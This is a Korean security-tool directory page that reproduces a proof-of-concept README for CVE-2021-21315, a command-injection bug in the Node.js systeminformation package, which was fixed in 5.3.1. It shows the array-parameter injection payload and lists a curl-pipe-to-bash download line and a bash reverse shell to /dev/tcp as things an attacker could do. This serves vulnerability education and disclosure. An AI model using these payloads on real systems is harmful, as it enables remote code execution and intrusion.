Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/forbiddenprogrammer/cve-2021-21315-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubforbiddenprogrammer/cve-2021-21315-poc

CVE-2021-21315-PoC

CVE 2021-21315 PoC

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
160255년 전Kitploit 검토 완료

CVE-2021-21315-systeminformation

이것은 CVE-2021-21315에 대한 개념 증명(Proof of Concept)입니다. 이 취약점은 Node.JS용 System Information Library(npm 패키지 "systeminformation")에 영향을 미칩니다. npmjs.com/systeminformation

"si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad()에 전달되는 서비스 파라미터를 반드시 확인하거나 정리하세요. 문자열만 허용하고 배열은 거부하세요. 문자열 정리(string sanitation)는 예상대로 작동합니다."

취약점이 (제 생각에는) 잘 설명되어 있지 않기 때문에, 취약한 버전의 systeminformation을 기반으로 한 작은 앱을 코딩하기로 결정했습니다. PoC에는 다음이 포함됩니다:

  1. Node.js로 만든 테스트 앱 (express와 취약한 systeminformation 사용)
  2. 영향을 받는 시스템에 .txt 파일을 생성하는 간단한 테스트 페이로드

재현 단계:

  1. Linux 서버 환경에서 애플리케이션 실행
  2. site.com/api/getServices?name=nginx에 GET 요청 전송 (nginx는 예시일 뿐) obraz
  3. 이제 다음과 같은 요청을 보내보세요: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt) obraz 이 요청은 문자열 정리(string sanitization)로 인해 실패합니다: obraz

CVE 세부 정보에서 언급한 대로 "정리(sanitization)는 예상대로 작동하며, 배열은 거부합니다 [...]"

  1. 이제 다음과 같은 요청을 보내보세요: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) obraz 이번에는 "name" 값을 살펴보면, 정리되지 않았습니다 - 성공! 명령이 실행되었는지 확인해 봅시다

obraz

성공! 명령이 실행되었습니다. 물론 "pwn.txt" 같은 파일은 아무도 신경 쓰지 않지만, 잠재적 공격자는 다음과 같은 행위를 할 수 있습니다:

  1. 내부 파일 업로드 (예: 애플리케이션 핵심인 index.js - API 키, 데이터베이스 연결 문자열 등 포함 가능)
  2. 스크립트 다운로드 및 실행 - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
  3. 리버스 셸 - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
  4. 프로세스 종료 (우리의 테스트 node 애플리케이션도 종료 가능)
  5. 더 악의적인 행위들...

"명령 삽입(Command injection)"은 무해해 보일 수 있지만, 특정 조건이 충족되면 엄청난 영향을 미칠 수 있습니다.

이 문제는 "systeminformation" 버전 5.3.1에서 수정되었습니다. 크레딧: https://www.huntr.dev/users/EffectRenan (그가 취약점을 발견했습니다. 하지만 제 생각에 그의 "PoC"는 실제 세계의 영향을 보여주지 못했습니다.)

또한, 이 PoC를 일부 CTF에서 사용하는 것을 주저하지 마세요. 단, 발견자(EffectRean)와 PoC 제작자(저)를 인용해 주시면 좋겠습니다. 건배!

면책 조항

이 프로젝트는 교육 목적으로만 사용할 수 있습니다. 사전 허가 없이 이 소프트웨어를 대상 시스템에 사용하는 것은 불법이며, 이 소프트웨어를 오용하여 발생하는 모든 피해에 대해 저자는 책임을 지지 않습니다.

도구 다운로드